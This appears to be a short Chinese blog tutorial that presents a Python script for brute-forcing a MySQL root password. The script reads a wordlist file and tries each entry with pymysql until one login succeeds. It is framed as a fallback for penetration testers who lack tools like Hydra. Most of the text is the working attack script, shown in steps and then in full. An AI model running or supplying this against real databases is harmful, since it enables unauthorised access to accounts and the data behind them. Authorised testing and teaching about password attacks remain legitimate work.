mysql是常用的关系型数据库,在实际渗透测试的过程中,可能手边刚好没有Hydra等工具,或者已获得权限的主机没有此类工具,又恰好有python环境。本文主要内容为python编写mysql爆破脚本,假设已知用户名为root,本次设置密码字典为passwords.txt。
一、获取字典内容
#将字典密码读取到list列表
def get_pwd_list(filemane):
result = []
with open(filemane, 'r') as f:
for line in f:
result.append(line.strip('\n'))
return result
二、暴力破解函数,参数为当次尝试的密码
# 打开数据库连接,如果用户名密码正确,则能打开,否则抛出异常
def trypassword(pwd):
try:
print("正在尝试密码{}".format(pwd))
db = pymysql.connect("localhost", "root", pwd, "mys")
print("破解成功,localhost用户的密码为{}".format(pwd))
return True
except:
pass
三、主函数
def main():
pwd_list=get_pwd_list('passwords.txt')
for x in pwd_list:
if(trypassword(x)):
break
四、脚本运行结果
附:完整代码
import pymysql
import sys
#将字典密码读取到list列表
def get_pwd_list(filemane):
result = []
with open(filemane, 'r') as f:
for line in f:
result.append(line.strip('\n'))
return result
# 打开数据库连接,如果用户名密码正确,则能打开,否则抛出异常
def trypassword(pwd):
try:
print("正在尝试密码{}".format(pwd))
db = pymysql.connect("localhost", "root", pwd, "mys")
print("破解成功,localhost用户的密码为{}".format(pwd))
return True
except:
pass
def main():
pwd_list=get_pwd_list('passwords.txt')
for x in pwd_list:
if(trypassword(x)):
break
main()
最后,由于本人也是编程小白,代码写得不尽规范和美观,请各位大神不喜轻喷,谢谢。